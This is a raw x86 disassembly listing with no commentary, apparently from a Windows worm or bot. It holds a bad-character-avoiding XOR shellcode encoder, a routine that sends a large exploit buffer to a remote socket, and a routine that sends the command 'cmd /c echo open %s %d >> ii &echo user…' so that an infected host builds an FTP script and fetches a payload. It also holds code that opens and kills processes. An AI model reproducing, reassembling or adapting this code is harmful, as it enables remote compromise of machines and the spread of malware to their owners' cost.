		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424ED0	proc near		; CODE XREF: sub_4016E5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_40136B
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_424EF5
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424EF5:				; CODE XREF: sub_424ED0+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_43DDB8
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	ds:dword_43DE1C, ecx
		lea	ecx, [eax+1]
		mov	ds:dword_43DE3D, ecx
		lea	ecx, [eax+17h]
		mov	ds:dword_43DE35, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	ds:dword_43DE4B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, ds:dword_43DE2C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, ds:byte_43DE30
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, ds:dword_43DE31
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, ds:dword_43DE35
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, ds:dword_43DE39
		mov	[ecx+8], esi
		mov	esi, ds:dword_43DE3D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_43DE41
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_424ED0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425040	proc near		; CODE XREF: sub_401FD7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40136B
		push	eax
		call	sub_401703
		add	esp, 0Ch
		retn
sub_425040	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425070:				; CODE XREF: _294ADE7B:00401695j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_401FD7
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425093
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425093:				; CODE XREF: _294ADE7B:0042508Bj
		cmp	eax, 0FFFFh
		jbe	short loc_4250A0
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250A0:				; CODE XREF: _294ADE7B:00425098j
		push	esi
		push	edi
		push	ebx
		call	sub_40136B
		add	eax, 101h
		push	eax
		call	ds:dword_4B3AB0
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40136B
		add	esp, 8
		push	eax
		push	esi
		call	sub_4016E5
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401A82
		push	esi
		mov	edi, eax
		call	ds:dword_4B3AAC
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425110	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_425119
		inc	ecx


loc_425119:				; CODE XREF: sub_425110+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_425110	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425140	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_425158
		cmp	bl, 0Dh
		jz	short loc_425158
		cmp	bl, 5Ch
		jz	short loc_425158
		test	bl, bl
		jnz	short loc_425159


loc_425158:				; CODE XREF: sub_425140+8j
					; sub_425140+Dj ...
		inc	ebx


loc_425159:				; CODE XREF: sub_425140+16j
		cmp	ebx, 0FFh
		jbe	short loc_42517C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425176
		cmp	al, 0Dh
		jz	short loc_425176
		cmp	al, 5Ch
		jz	short loc_425176
		test	al, al
		jnz	short loc_42517C


loc_425176:				; CODE XREF: sub_425140+28j
					; sub_425140+2Cj ...
		add	ebx, 100h


loc_42517C:				; CODE XREF: sub_425140+1Fj
					; sub_425140+34j
		push	ebx
		call	sub_401703
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425195
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425195:				; CODE XREF: sub_425140+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_4251A0
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4251A0:				; CODE XREF: sub_425140+5Aj
		mov	al, ds:byte_4B2308
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_4251D0


loc_4251B1:				; CODE XREF: sub_425140+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_4251C7
		cmp	cl, 0Ah
		jz	short loc_4251C7
		cmp	cl, 0Dh
		jz	short loc_4251C7
		cmp	cl, 5Ch
		jnz	short loc_4251CB


loc_4251C7:				; CODE XREF: sub_425140+76j
					; sub_425140+7Bj ...
		inc	al
		xor	edx, edx


loc_4251CB:				; CODE XREF: sub_425140+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_4251B1


loc_4251D0:				; CODE XREF: sub_425140+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	ds:byte_4B2308,	al
		ja	short loc_425203
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset dword_43DDA0
		mov	edi, edx
		mov	ds:byte_43DDAD,	bl
		mov	ds:byte_43DDB1,	al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_425229
; ---------------------------------------------------------------------------


loc_425203:				; CODE XREF: sub_425140+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset dword_43DD88
		mov	edi, edx
		mov	ds:word_43DD96,	bx
		mov	ds:byte_43DD9B,	al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_425229:				; CODE XREF: sub_425140+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_42523F
		add	esi, edx


loc_425232:				; CODE XREF: sub_425140+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_425232


loc_42523F:				; CODE XREF: sub_425140+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_425140	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4252A0	proc near		; CODE XREF: sub_401CEEj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	ds:dword_442037[eax*4],	ecx
		mov	ds:dword_442023[eax*4],	ecx
		mov	ds:dword_442027[eax*4],	ecx
		mov	ds:dword_44202B[eax*4],	ecx
		mov	ds:dword_44202F[eax*4],	ecx
		mov	ds:dword_442033[eax*4],	ecx
		mov	ds:byte_441E23[eax*4], cl
		mov	ds:byte_44203B[eax*4], cl
		retn
sub_4252A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425310	proc near		; CODE XREF: sub_401325j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_4253C7
		cmp	ecx, 200h
		jge	loc_4253C7
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, ds:dword_442037[esi*4]
		push	eax
		call	ds:dword_4B3854
		cmp	ds:dword_442037[esi*4],	ebx
		jz	short loc_425358
		mov	ebp, 1


loc_425358:				; CODE XREF: sub_425310+41j
		mov	ds:dword_442037[esi*4],	ebx
		mov	ds:dword_442023[esi*4],	ebx
		mov	ds:dword_442027[esi*4],	ebx
		mov	eax, ds:dword_44202B[esi*4]
		cmp	eax, ebx
		jbe	short loc_425381
		push	eax
		call	sub_401B4F
		add	esp, 4


loc_425381:				; CODE XREF: sub_425310+66j
		mov	edi, ds:dword_4B3CA8
		mov	ds:dword_44202B[esi*4],	ebx
		mov	ds:byte_441E23[esi*4], bl
		mov	ds:byte_44203B[esi*4], bl
		mov	ecx, ds:dword_44202F[esi*4]
		push	ecx
		call	edi
		mov	ds:dword_44202F[esi*4],	ebx
		mov	edx, ds:dword_442033[esi*4]
		lea	esi, ds:442033h[esi*4]
		push	edx
		call	edi
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4253C7:				; CODE XREF: sub_425310+Cj
					; sub_425310+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_425310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425400	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_442027


loc_425411:				; CODE XREF: sub_425400+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_425445
		test	ebx, ebx
		jle	short loc_425437
		cmp	[esi], ebx
		jz	short loc_425428
		cmp	edi, ebx
		jnz	short loc_425445


loc_425428:				; CODE XREF: sub_425400+22j
		push	edi
		call	sub_401325
		add	esp, 4
		test	eax, eax
		jz	short loc_425445
		jmp	short loc_425444
; ---------------------------------------------------------------------------


loc_425437:				; CODE XREF: sub_425400+1Ej
		push	edi
		call	sub_401325
		add	esp, 4
		test	eax, eax
		jz	short loc_425445


loc_425444:				; CODE XREF: sub_425400+35j
		inc	ebp


loc_425445:				; CODE XREF: sub_425400+1Aj
					; sub_425400+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_488827
		jl	short loc_425411
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_425400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425480	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		call	ds:dword_4B387C
		mov	esi, eax
		test	esi, esi
		jz	short loc_4254B5
		push	0
		push	esi
		call	ds:dword_4B3880
		test	eax, eax
		jnz	short loc_4254B5
		push	esi
		xor	edi, edi
		call	ds:dword_4B38C8


loc_4254B5:				; CODE XREF: sub_425480+1Dj
					; sub_425480+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_425480	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254D0	proc near		; CODE XREF: sub_40142Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_442023


loc_4254DB:				; CODE XREF: sub_4254D0+1Cj
		cmp	[ecx], edx
		jnz	short loc_4254E0
		inc	eax


loc_4254E0:				; CODE XREF: sub_4254D0+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_488823
		jl	short loc_4254DB
		retn
sub_4254D0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425500	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_442023


loc_42550E:				; CODE XREF: sub_425500+1Fj
		cmp	[ecx], edx
		jz	short loc_425523
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_488823
		jl	short loc_42550E
		mov	eax, esi


loc_425523:				; CODE XREF: sub_425500+10j
		pop	esi
		retn
sub_425500	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425540	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_441E23


loc_425548:				; CODE XREF: sub_425540+18j
		cmp	byte ptr [eax],	0
		jz	short loc_42555E
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_488623
		jl	short loc_425548
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42555E:				; CODE XREF: sub_425540+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:441E23h[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ds:dword_4B3AE0
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_425540	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4255E0	proc near		; CODE XREF: sub_4019A6j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		call	ds:dword_4B3CBC
		push	216Bh
		mov	[esp+5B4h+var_59C], eax
		call	ds:dword_4B3CB0
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_425645
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_425645:				; CODE XREF: sub_4255E0+56j
		lea	edx, [esp+5B0h+var_5A0]
		push	10h
		push	edx
		push	esi
		call	ds:dword_4B3CB4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425665
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_425665:				; CODE XREF: sub_4255E0+76j
		push	0
		lea	eax, [esp+5B4h+var_400]
		push	400h
		push	eax
		push	esi
		call	ds:dword_4B3C6C
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		mov	ecx, offset byte_4403A9
		call	sub_401726
		mov	ecx, ds:dword_4404E7
		mov	edx, [esp+5B4h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401CC1
		mov	ebx, ds:dword_4B3AA8
		add	esp, 4
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [esp+5C4h+var_590]
		push	190h
		push	eax
		call	ebx
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		not	ecx
		mov	ebp, ds:dword_4B3C9C
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4256F4
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4256F4:				; CODE XREF: sub_4255E0+105j
		push	1F4h
		call	ds:dword_4B38CC
		mov	ecx, offset byte_4403A9
		call	sub_401726
		push	eax
		push	offset dword_43BBBC
		lea	edx, [esp+5B8h+var_590]
		push	190h
		push	edx
		call	ebx
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		lea	eax, [esp+5B4h+var_590]
		push	ecx
		push	eax
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425749
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_425749:				; CODE XREF: sub_4255E0+15Aj
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		call	ds:dword_4B3C6C
		push	esi
		call	ds:dword_4B3CA8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_4255E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4257F0:				; CODE XREF: _294ADE7B:004016D6j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	ds:dword_4B3CBC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425818
		push	esi
		call	ds:dword_4B3CA4
		test	eax, eax
		jnz	short loc_425811
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425811:				; CODE XREF: _294ADE7B:0042580Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_425818:				; CODE XREF: _294ADE7B:004257FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425830	proc near		; CODE XREF: sub_401A96j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 10h
		push	esi
		lea	eax, [esp+14h+arg_4]
		push	edi
		push	eax
		mov	word ptr [esp+1Ch+var_10], 2
		call	ds:dword_4B3CBC
		mov	ecx, [esp+18h+arg_9E]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	ds:dword_4B3CB0
		push	6
		push	1
		push	2
		mov	word ptr [esp+24h+var_10+2], ax
		call	ds:dword_4B3CAC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_425879
		xor	eax, eax
		pop	edi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_425879:				; CODE XREF: sub_425830+3Fj
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		call	ds:dword_4B3CB4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42589B
		push	esi
		call	ds:dword_4B3CA8
		xor	eax, eax
		pop	edi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42589B:				; CODE XREF: sub_425830+5Aj
		push	0
		push	1213h
		push	offset dword_43DEAC
		push	esi
		call	ds:dword_4B3C9C
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4258C2
		call	ds:dword_4B3CA8
		xor	eax, eax
		pop	edi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4258C2:				; CODE XREF: sub_425830+82j
		call	ds:dword_4B3CA8
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+0D4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4019A6
		add	esp, 0BCh
		test	al, al
		jz	short loc_425912
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+0D4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401131
		add	esp, 0BCh


loc_425912:				; CODE XREF: sub_425830+BDj
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 10h
		retn
sub_425830	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425960	proc near		; CODE XREF: sub_401E33j

var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 18h
		mov	ax, ds:word_43F48C
		mov	cx, ds:word_43F488
		mov	dx, ds:word_4B22F8
		mov	[esp+18h+var_16], ax
		mov	eax, ds:dword_4B2300
		push	ebx
		mov	[esp+1Ch+var_10], eax
		mov	ax, ds:word_4B2444
		mov	[esp+1Ch+var_4], ax
		mov	eax, [esp+1Ch+arg_8]
		mov	[esp+1Ch+var_12], cx
		mov	cl, ds:byte_4B2304
		mov	[esp+1Ch+var_14], dx
		mov	edx, ds:dword_4B2440
		push	ebp
		push	esi
		test	eax, eax
		push	edi
		mov	[esp+28h+var_C], cl
		mov	[esp+28h+var_8], edx
		jnz	loc_425A82
		mov	ebp, [esp+28h+arg_4]
		mov	esi, [esp+28h+arg_0]
		mov	ebx, ds:dword_4B3C9C
		mov	[esp+28h+arg_8], eax


loc_4259D0:				; CODE XREF: sub_425960+114j
		sub	eax, 0
		jz	short loc_425A18
		dec	eax
		jnz	loc_425A68
		push	0
		lea	ecx, [esp+2Ch+var_16]
		push	1
		push	ecx
		push	esi
		call	ebx
		push	0
		lea	edx, [esp+28h+var_10]
		push	1
		push	edx
		push	esi
		call	ebx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	eax
		cmp	ecx, 2
		jnz	short loc_425A0F
		lea	eax, [esp+28h+var_C]
		push	4
		push	eax
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_425A0F:				; CODE XREF: sub_425960+A4j
		lea	ecx, [esp+28h+var_4]
		push	5
		push	ecx
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_425A18:				; CODE XREF: sub_425960+73j
		push	0
		lea	edx, [esp+2Ch+var_16]
		push	1
		push	edx
		push	esi
		call	ebx
		push	0
		lea	eax, [esp+28h+var_10+2]
		push	1
		push	eax
		push	esi
		call	ebx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	eax
		cmp	ecx, 2
		jnz	short loc_425A4B
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_425A4B:				; CODE XREF: sub_425960+E0j
		lea	edx, [esp+28h+var_4]
		push	5
		push	edx


loc_425A52:				; CODE XREF: sub_425960+ADj
					; sub_425960+B6j ...
		push	esi
		call	ebx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	esi
		call	ebx


loc_425A68:				; CODE XREF: sub_425960+76j
		mov	eax, [esp+28h+arg_8]
		inc	eax
		cmp	eax, 1
		mov	[esp+28h+arg_8], eax
		jle	loc_4259D0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_425A82:				; CODE XREF: sub_425960+58j
		dec	eax
		jz	short loc_425AD6
		dec	eax
		jnz	loc_425B34
		mov	esi, [esp+28h+arg_0]
		mov	ebx, ds:dword_4B3C9C
		push	0
		lea	eax, [esp+2Ch+var_16]
		push	1
		push	eax
		push	esi
		call	ebx
		push	0
		lea	ecx, [esp+28h+var_10]
		push	1
		push	ecx
		push	esi
		call	ebx
		mov	ebp, [esp+24h+arg_8]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebp
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	eax
		cmp	ecx, 2
		jnz	short loc_425ACD
		lea	edx, [esp+28h+var_C]
		push	4
		push	edx
		jmp	short loc_425B1E
; ---------------------------------------------------------------------------


loc_425ACD:				; CODE XREF: sub_425960+162j
		lea	eax, [esp+28h+var_4]
		push	5
		push	eax
		jmp	short loc_425B1E
; ---------------------------------------------------------------------------


loc_425AD6:				; CODE XREF: sub_425960+123j
		mov	esi, [esp+28h+arg_0]
		mov	ebx, ds:dword_4B3C9C
		push	0
		lea	ecx, [esp+2Ch+var_16]
		push	1
		push	ecx
		push	esi
		call	ebx
		push	0
		lea	edx, [esp+28h+var_10+2]
		push	1
		push	edx
		push	esi
		call	ebx
		mov	ebp, [esp+24h+arg_8]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebp
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	eax
		cmp	ecx, 2
		jnz	short loc_425B17
		lea	eax, [esp+28h+var_C]
		push	4
		push	eax
		jmp	short loc_425B1E
; ---------------------------------------------------------------------------


loc_425B17:				; CODE XREF: sub_425960+1ACj
		lea	ecx, [esp+28h+var_4]
		push	5
		push	ecx


loc_425B1E:				; CODE XREF: sub_425960+16Bj
					; sub_425960+174j ...
		push	esi
		call	ebx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	esi
		call	ebx


loc_425B34:				; CODE XREF: sub_425960+126j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
sub_425960	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425BC0:				; CODE XREF: _294ADE7B:004018D4j
		sub	esp, 80h
		mov	eax, ds:dword_43F53C
		mov	ecx, ds:dword_43F540
		mov	edx, ds:dword_43F544
		mov	[esp+20h], eax
		mov	al, ds:byte_43F548
		mov	[esp+24h], ecx
		mov	cx, ds:word_43F538
		mov	[esp+2Ch], al
		mov	eax, ds:dword_4B2300
		mov	[esp+28h], edx
		mov	dl, ds:byte_43F53A
		mov	[esp+18h], eax
		mov	ax, ds:word_43F488
		push	ebx
		push	ebp
		push	esi
		mov	[esp+1Ch], cx
		mov	cl, ds:byte_4B2304
		mov	[esp+1Eh], dl
		mov	dx, ds:word_43F534
		mov	[esp+0Eh], ax
		mov	[esp+10h], ax
		mov	al, ds:byte_43F536
		xor	esi, esi
		push	edi
		mov	[esp+2Ch], cl
		mov	cx, ds:word_43F530
		mov	[esp+1Ch], dx
